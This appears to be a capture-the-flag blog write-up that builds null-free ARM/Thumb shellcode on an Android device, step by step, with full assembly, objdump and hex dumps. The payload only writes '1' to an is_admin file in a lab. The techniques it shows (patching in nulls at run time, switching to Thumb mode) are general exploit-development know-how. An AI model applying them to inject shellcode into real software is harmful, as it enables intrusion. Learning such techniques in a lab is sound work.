Get the executable here
- Our task is to write a shellcode which writes '1' to /data/local/tmp/is_admin.
- This time, it must not contain null bytes.
- Run a.out with path as a parameter to your shellcode.
- Do not reverse a.out
In the previous exercise, we had a working shellcode.
Firstly, lets try to feed that shellcode.bin into our new a.out.
┌──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/nullifiyingShellcode]
└─$ adb push a.out /data/local/tmp
a.out: 1 file pushed. 0.0 MB/s (44620 bytes in 1.975s)
┌──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/nullifiyingShellcode]
└─$ adb shell
shell@hammerhead:/ $ su
root@hammerhead:/ # cd /data/local/tmp
root@hammerhead:/data/local/tmp # chmod +x a.out
root@hammerhead:/data/local/tmp # ./a.out shellcode.bin
executing shellcode
[1] + Stopped (signal) ./a.out shellcode.bin
We get an error!
As the instruction suggests, our shellcode should not have any null bytes. Lets take a look at our current shellcode contents.
──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/nullifiyingShellcode]
└─$ xxd shellcode.bin
00000000: 3000 8fe2 0110 a0e3 0870 a0e3 0000 00ef 0........p......
00000010: 0400 2de5 0000 a0e1 2110 8fe2 0120 a0e3 ..-.....!.... ..
00000020: 0470 a0e3 0000 00ef 0400 9de4 0670 a0e3 .p...........p..
00000030: 0000 00ef 1eff 2fe1 6973 5f61 646d 696e ....../.is_admin
00000040: 0031 0000 .1..
We can see that there are lots of null bytes, 00. In c programming, null bytes terminate strings. I suspect a.out to be using some kind of string functions to read our shellcode which then terminates the moment it sees a null byte.
I have edited our commands.sh from the previous exercise, to include extracting out our shellcode.bin and pushing it to our android device.
┌──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/nullifiyingShellcode]
└─$ vim commands.sh
export ndk=/home/razali/Downloads/android-ndk-r21e/toolchains/arm-linux-androideabi-4.9/prebuilt/linux-x86_64/arm-linux-androideabi/bin
$ndk/as shellcode.s -o shellcode.o
$ndk/ld shellcode.o -o shellcode
$ndk/objcopy -O binary --only-section=.text shellcode shellcode.bin
echo "==============OBJDUMP OUTPUT=========================="
$ndk/objdump -d shellcode.o
echo "==============XXD OUTPUT=========================="
xxd shellcode.bin
adb push ./shellcode.bin /data/local/tmp
Lets run command.sh.
┌──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/nullifiyingShellcode]
└─$ ./commands.sh
==============OBJDUMP OUTPUT==========================
shellcode.o: file format elf32-littlearm
Disassembly of section .text:
00000000 <_start>:
0: e28f0030 add r0, pc, #48 ; 0x30
4: e3a01001 mov r1, #1
8: e3a07008 mov r7, #8
c: ef000000 svc 0x00000000
10: e52d0004 push {r0} ; (str r0, [sp, #-4]!)
00000014 <write>:
14: e1a00000 nop ; (mov r0, r0)
18: e28f1021 add r1, pc, #33 ; 0x21
1c: e3a02001 mov r2, #1
20: e3a07004 mov r7, #4
24: ef000000 svc 0x00000000
00000028 <close>:
28: e49d0004 pop {r0} ; (ldr r0, [sp], #4)
2c: e3a07006 mov r7, #6
30: ef000000 svc 0x00000000
00000034 <branch>:
34: e12fff1e bx lr
00000038 <filename>:
38: 615f7369 .word 0x615f7369
3c: 6e696d64 .word 0x6e696d64
...
00000041 <toWrite>:
41: 0031 .short 0x0031
...
==============XXD OUTPUT==========================
00000000: 3000 8fe2 0110 a0e3 0870 a0e3 0000 00ef 0........p......
00000010: 0400 2de5 0000 a0e1 2110 8fe2 0120 a0e3 ..-.....!.... ..
00000020: 0470 a0e3 0000 00ef 0400 9de4 0670 a0e3 .p...........p..
00000030: 0000 00ef 1eff 2fe1 6973 5f61 646d 696e ....../.is_admin
00000040: 0031 0000 .1..
./shellcode.bin: 1 file pushed. 0.0 MB/s (68 bytes in 0.307s)
We can see that all the svc #0 instructions produces a lot of null bytes, ef000000. Let's use svc #0xffffff instead to fill up the zeroes.
Now we get,
──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/nullifiyingShellcode]
└─$ ./commands.sh
==============OBJDUMP OUTPUT==========================
shellcode.o: file format elf32-littlearm
Disassembly of section .text:
00000000 <_start>:
0: e28f0030 add r0, pc, #48 ; 0x30
4: e3a01001 mov r1, #1
8: e3a07008 mov r7, #8
c: efffffff svc 0x00ffffff
10: e52d0004 push {r0} ; (str r0, [sp, #-4]!)
00000014 <write>:
14: e1a00000 nop ; (mov r0, r0)
18: e28f1021 add r1, pc, #33 ; 0x21
1c: e3a02001 mov r2, #1
20: e3a07004 mov r7, #4
24: efffffff svc 0x00ffffff
00000028 <close>:
28: e49d0004 pop {r0} ; (ldr r0, [sp], #4)
2c: e3a07006 mov r7, #6
30: efffffff svc 0x00ffffff
00000034 <branch>:
34: e12fff1e bx lr
00000038 <filename>:
38: 615f7369 .word 0x615f7369
3c: 6e696d64 .word 0x6e696d64
...
00000041 <toWrite>:
41: 0031 .short 0x0031
...
==============XXD OUTPUT==========================
00000000: 3000 8fe2 0110 a0e3 0870 a0e3 ffff ffef 0........p......
00000010: 0400 2de5 0000 a0e1 2110 8fe2 0120 a0e3 ..-.....!.... ..
00000020: 0470 a0e3 ffff ffef 0400 9de4 0670 a0e3 .p...........p..
00000030: ffff ffef 1eff 2fe1 6973 5f61 646d 696e ....../.is_admin
00000040: 0031 0000 .1..
./shellcode.bin: 1 file pushed. 0.0 MB/s (68 bytes in 0.307s)
If we take a look at our filename,
file_name: .asciz "is_admin"
it produces the null byte at offset 0x41 as seen below.
00000038 <filename>:
38: 615f7369 .word 0x615f7369
3c: 6e696d64 .word 0x6e696d64
...
00000041 <toWrite>:
41: 0031 .short 0x0031
This is because, .asciz is a null terminated string thus file_name: .asciz "is_admin" produces "is_admin\0", which is null terminated.
We will need to put a dummy character, and replace it with a null byte at run time.
We can easily get a #0 by exor-ing 2 values as such.
eor r2, r2
Now r2 contains #0.
Then we can define our file name to be
file_name: .ascii "is_adminX".
Note the use of .ascii instead of .asciz. Now our string has no null bytes, but we have a big X that we need to replace. We can do that with the strb instruction.
So the code would look like.
eor r2, r2 //R2 now is #0
adr r3, file_name
strb r2, [r3, #8] //Replace the 9th character with a null
file_name: .ascii "is_adminX"
Our overall code now looks like
.section .text
.global _start
_start:
create:
eor r2, r2 //R2 inow is #0
adr r0, filename
strb r2, [r0, #8]
mov r1, #1 //WRITE ONLY
mov r7, #0x8 //CREAT SYS CALL
svc #0xffffff
//The file descriptor(fd) is returned into the r0 variable.
//Store the file descriptor to the stack.
//This way, we can reuse r0 for other functions and when the fd is needed,
//we simply pop from the stack
push {r0}
write:
mov r0, r0 //r0 already contains the file descriptor
adr r1, toWrite //buffer
mov r2, #1 //write only 1 byte
mov r7, #0x04 //syscall for write
svc #0xffffff
close:
pop {r0} //pop the file descriptor back
mov r7, #0x06 //syscall for close
svc #0xffffff
branch:
//end of this function, lets branch back
bx lr
filename:
.ascii "is_adminX"
toWrite:
.ascii "1"
Lets take a look at the objdump now.
==============OBJDUMP OUTPUT==========================
shellcode.o: file format elf32-littlearm
Disassembly of section .text:
00000000 <_start>:
0: e0222002 eor r2, r2, r2
4: e28f0034 add r0, pc, #52 ; 0x34
8: e5c02008 strb r2, [r0, #8]
c: e3a01001 mov r1, #1
10: e3a07008 mov r7, #8
14: efffffff svc 0x00ffffff
18: e52d0004 push {r0} ; (str r0, [sp, #-4]!)
0000001c <write>:
1c: e1a00000 nop ; (mov r0, r0)
20: e28f1021 add r1, pc, #33 ; 0x21
24: e3a02001 mov r2, #1
28: e3a07004 mov r7, #4
2c: efffffff svc 0x00ffffff
00000030 <close>:
30: e49d0004 pop {r0} ; (ldr r0, [sp], #4)
34: e3a07006 mov r7, #6
38: efffffff svc 0x00ffffff
0000003c <branch>:
3c: e12fff1e bx lr
00000040 <filename>:
40: 615f7369 .word 0x615f7369
44: 6e696d64 .word 0x6e696d64
48: 58 .byte 0x58
00000049 <toWrite>:
49: 31 .byte 0x31
...
==============XXD OUTPUT==========================
00000000: 0220 22e0 3400 8fe2 0820 c0e5 0110 a0e3 . ".4.... ......
00000010: 0870 a0e3 ffff ffef 0400 2de5 0000 a0e1 .p........-.....
00000020: 2110 8fe2 0120 a0e3 0470 a0e3 ffff ffef !.... ...p......
00000030: 0400 9de4 0670 a0e3 ffff ffef 1eff 2fe1 .....p......../.
00000040: 6973 5f61 646d 696e 5831 0000 is_adminX1..
./shellcode.bin: 1 file pushed. 0.0 MB/s (76 bytes in 0.287s)
Our, add, push, and pop commands still have null bytes. To make shellcoding easier, its better to use the thumb mode. arm instructions are 4 bytes and thumb instructions are 2 to 4 bytes long, therefore reducing the chance of us having a null byte.
To switch to the thumb instruction, we simply need to add #1 to our program counter and branch to it. Also do note that svc #0xffffff is not supported in thumb. Simply do svc #1 and you would not see the null byte in the thumb instruction set anymore.
The final code would look something like...
.section .text
.global _start
_start:
eor r2, r2 //R2 inow is #0
thumbMode:
add r1, pc, #1
bx r1
create:
.code 16
adr r0, filename
strb r2, [r0, #8]
mov r1, #1 //WRITE ONLY
mov r7, #0x8 //CREAT SYS CALL
svc #1
//The file descriptor(fd) is returned into the r0 variable.
//Store the file descriptor to the stack.
//This way, we can reuse r0 for other functions and when the fd is needed,
//we simply pop from the stack
push {r0}
write:
//mov r0, r0 ------- r0 already contains the file descriptor
adr r1, toWrite //buffer
mov r2, #1 //write only 1 byte
mov r7, #0x04 //syscall for write
svc #1
close:
pop {r0} //pop the file descriptor back
mov r7, #0x06 //syscall for close
svc #1
branch:
//end of this function, lets branch back
bx lr
.align 2
filename:
.ascii "is_adminX"
.align 2
toWrite:
.ascii "1"
Lets compile it and view the bin.
──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/nullifiyingShellcode]
└─$ ./commands.sh
==============OBJDUMP OUTPUT==========================
shellcode.o: file format elf32-littlearm
Disassembly of section .text:
00000000 <_start>:
0: e0222002 eor r2, r2, r2
00000004 <thumbMode>:
4: e28f1001 add r1, pc, #1
8: e12fff11 bx r1
0000000c <create>:
c: a006 add r0, pc, #24 ; (adr r0, 28 <filename>)
e: 7202 strb r2, [r0, #8]
10: 2101 movs r1, #1
12: 2708 movs r7, #8
14: df01 svc 1
16: b401 push {r0}
00000018 <write>:
18: a106 add r1, pc, #24 ; (adr r1, 34 <toWrite>)
1a: 2201 movs r2, #1
1c: 2704 movs r7, #4
1e: df01 svc 1
00000020 <close>:
20: bc01 pop {r0}
22: 2706 movs r7, #6
24: df01 svc 1
00000026 <branch>:
26: 4770 bx lr
00000028 <filename>:
28: 615f7369 .word 0x615f7369
2c: 6e696d64 .word 0x6e696d64
30: 58 .byte 0x58
31: 00 .byte 0x00
32: 46c0 nop ; (mov r8, r8)
00000034 <toWrite>:
34: 31 .byte 0x31
35: 00 .byte 0x00
36: 46c0 nop ; (mov r8, r8)
==============XXD OUTPUT==========================
00000000: 0220 22e0 0110 8fe2 11ff 2fe1 06a0 0272 . "......./....r
00000010: 0121 0827 01df 01b4 06a1 0122 0427 01df .!.'.......".'..
00000020: 01bc 0627 01df 7047 6973 5f61 646d 696e ...'..pGis_admin
00000030: 5800 c046 3100 c046 X..F1..F
./shellcode.bin: 1 file pushed. 0.0 MB/s (56 bytes in 0.303s)
Great we are so close. Look at offset 0x31 now, due to alignment padding with our .align 2, the compiler has added an extra null byte. Lets simply remove this with adding our own extra character.
Change
.align 2
filename:
.ascii "is_adminX"
to
.align 2
filename:
.ascii "is_adminXX" //Added extra X
Now lets take a look at our output again.
┌──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/nullifiyingShellcode]
└─$ ./commands.sh
==============OBJDUMP OUTPUT==========================
shellcode.o: file format elf32-littlearm
Disassembly of section .text:
00000000 <_start>:
0: e0222002 eor r2, r2, r2
00000004 <thumbMode>:
4: e28f1001 add r1, pc, #1
8: e12fff11 bx r1
0000000c <create>:
c: a006 add r0, pc, #24 ; (adr r0, 28 <filename>)
e: 7202 strb r2, [r0, #8]
10: 2101 movs r1, #1
12: 2708 movs r7, #8
14: df01 svc 1
16: b401 push {r0}
00000018 <write>:
18: a106 add r1, pc, #24 ; (adr r1, 34 <toWrite>)
1a: 2201 movs r2, #1
1c: 2704 movs r7, #4
1e: df01 svc 1
00000020 <close>:
20: bc01 pop {r0}
22: 2706 movs r7, #6
24: df01 svc 1
00000026 <branch>:
26: 4770 bx lr
00000028 <filename>:
28: 615f7369 .word 0x615f7369
2c: 6e696d64 .word 0x6e696d64
30: 5858 .short 0x5858
32: 46c0 nop ; (mov r8, r8)
00000034 <toWrite>:
34: 31 .byte 0x31
35: 00 .byte 0x00
36: 46c0 nop ; (mov r8, r8)
==============XXD OUTPUT==========================
00000000: 0220 22e0 0110 8fe2 11ff 2fe1 06a0 0272 . "......./....r
00000010: 0121 0827 01df 01b4 06a1 0122 0427 01df .!.'.......".'..
00000020: 01bc 0627 01df 7047 6973 5f61 646d 696e ...'..pGis_admin
00000030: 5858 c046 3100 c046 XX.F1..F
./shellcode.bin: 1 file pushed. 0.0 MB/s (56 bytes in 0.304s)
Great no more null bytes(ignore the end null bytes).
Lets head back to our android device and run our shellcode.bin.
root@hammerhead:/data/local/tmp # ./a.out shellcode.bin
executing shellcode
You did it!
The flag is: "nununu"
Top comments (0)